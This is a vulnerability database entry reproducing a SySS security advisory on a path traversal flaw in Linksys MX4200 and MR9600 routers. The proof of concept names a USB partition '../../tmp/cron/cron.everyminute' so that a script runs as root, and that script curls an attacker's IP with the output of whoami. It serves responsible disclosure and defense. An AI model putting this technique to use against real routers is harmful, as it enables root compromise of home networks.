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GCVE-1988-2026-0199

Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-09 10:09
VLAI
Title
[SYSS-2025-001] Linksys MX9600/MX4200 - Path Traversal
Summary
Advisory ID:               SYSS-2025-001 Product:                   MR9600, MX4200 (and potentially others) Manufacturer:              Linksys Tested Version(s):         1.0.4.205530 for MR9600, 1.0.13.210200 for MX4200 Vulnerability Type:        Path Traversal (CWE-22) Risk Level:                Medium Solution Status:           Open Manufacturer Notification: 2025-03-18 Solution Date:             - Public Disclosure:         2026-02-12 CVE Reference:             Not yet assigned Author of Advisory:        Christian Zäske, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: Linksys MX4200 is a Wi-Fi mesh router targeting home users. The manufacturer describes the product as follows (see [1]): "This router supports the latest Wi-Fi® 6 (802.11ax) standard for next-level streaming and gaming. Its powerful WiFi 6 mesh coverage offers faster WiFi performance for lag-free online gaming and simultaneous streaming to every device and corner of your home." Due to missing neutralization of special elements, the contents of a USB drive partition can be mounted in an arbitrary location of the file system. This can also result in the execution of shell scripts in the context of the root user. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The Linksys MX4200 (and other models) provides a USB port to share the contents of a USB drive as an SMB share in the local network. Internally, the partition is mounted at "/tmp/anon_smb/<partition name>" by the script "/etc/init.d/service_tsmb.sh". Because the script does not neutralize special elements such as "../", the mount point can be changed to arbitrary locations by setting the name of the partition on the USB drive to "../../", followed by a path of the file system on the device. By choosing a path where scripts get executed on a regular basis, this vulnerability can be used to execute commands in the context of the root user. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): To execute the following shell script, the partition of the USB drive can be named "../../tmp/cron/cron.everyminute" and the script can be copied to the root of this partition. After plugging the USB drive into the device, the partition will be mounted at "/tmp/cron/cron.everyminute". The following script shows the contents of the file "exploit.sh", which will be mounted into the "cron.everyminute" directory:   #!/bin/bash   curl http://192.168.2.57/$(whoami) Because this directory is used to run every script it contains for every minute, the script will get executed in a maximum of 60 seconds. On the attacker's computer, a simple HTTP server is spawned. After plugging in the USB stick, the previous script is executed and access to the HTTP server is logged, as can be seen in the following snippet:   $ python -m http.server 80   Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...   192.168.2.1 - - [01/Jan/2024 13:00:00] "GET /root HTTP/1.1" 404 - ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: There is no known solution yet. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2024-11-11: Vulnerability discovered 2025-03-18: Vulnerability reported to manufacturer 2025-04-07: First response from manufacturer 2025-04-14: Requested an update from manufacturer 2025-05-06: Acknowledgment of vulnerabilities by the manufacturer 2026-02-12: Public disclosure ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for Linksys MX4200     https://support.linksys.com/kb/article/952-en/ [2] SySS Security Advisory SYSS-2025-001 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-001.txt [3] SySS Responsible Disclosure Policy     https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Christian Zäske of SySS GmbH. E-Mail: christian.zaeske () syss de Key ID: 0x7B00D164A32F9AC9 Key Fingerprint: 51D4 6E9B 3C29 7347 AC01 0F5A 7B00 D164 A32F 9AC9 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: https://creativecommons.org/licenses/by/3.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Impacted products
Vendor Product Version CPE status
Linksys Linksys MX9600/MX4200 - Affected: unknown
guessed Create a notification for this product.

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          "value": "Advisory ID:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0SYSS-2025-001\nProduct:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0MR9600, MX4200 (and potentially others)\nManufacturer:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Linksys\n\nTested Version(s):\u00a0 \u00a0 \u00a0 \u00a0 \u00a01.0.4.205530 for MR9600, 1.0.13.210200 for MX4200\nVulnerability Type:\u00a0 \u00a0 \u00a0 \u00a0 Path Traversal (CWE-22)\nRisk Level:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Medium\nSolution Status:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Open\nManufacturer Notification: 2025-03-18\nSolution Date:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0-\nPublic Disclosure:\u00a0 \u00a0 \u00a0 \u00a0 \u00a02026-02-12\nCVE Reference:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Not yet assigned\nAuthor of Advisory:\u00a0 \u00a0 \u00a0 \u00a0 Christian Z\u00e4ske, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nLinksys MX4200 is a Wi-Fi mesh router targeting home users.\n\nThe manufacturer describes the product as follows (see [1]):\n\n\"This router supports the latest Wi-Fi\u00ae 6 (802.11ax) standard for\nnext-level streaming and gaming. Its powerful WiFi 6 mesh coverage\noffers faster WiFi performance for lag-free online gaming and\nsimultaneous streaming to every device and corner of your home.\"\n\nDue to missing neutralization of special elements, the contents of\na USB drive partition can be mounted in an arbitrary location of the\nfile system. This can also result in the execution of shell scripts\nin the context of the root user.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe Linksys MX4200 (and other models) provides a USB port to share the\ncontents of a USB drive as an SMB share in the local network.\n\nInternally, the partition is mounted at \"/tmp/anon_smb/\u003cpartition name\u003e\"\nby the script \"/etc/init.d/service_tsmb.sh\". Because the script does not\nneutralize special elements such as \"../\", the mount point can be changed\nto arbitrary locations by setting the name of the partition on the USB\ndrive to \"../../\", followed by a path of the file system on the device.\n\nBy choosing a path where scripts get executed on a regular basis, this\nvulnerability can be used to execute commands in the context of the root\nuser.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nTo execute the following shell script, the partition of the USB drive\ncan be named \"../../tmp/cron/cron.everyminute\" and the script can be\ncopied to the root of this partition. After plugging the USB drive into\nthe device, the partition will be mounted at \"/tmp/cron/cron.everyminute\".\n\nThe following script shows the contents of the file \"exploit.sh\", which\nwill be mounted into the \"cron.everyminute\" directory:\n\n\u00a0 #!/bin/bash\n\u00a0 curl http://192.168.2.57/$(whoami)\n\nBecause this directory is used to run every script it contains for every\nminute, the script will get executed in a maximum of 60 seconds.\n\nOn the attacker\u0027s computer, a simple HTTP server is spawned. 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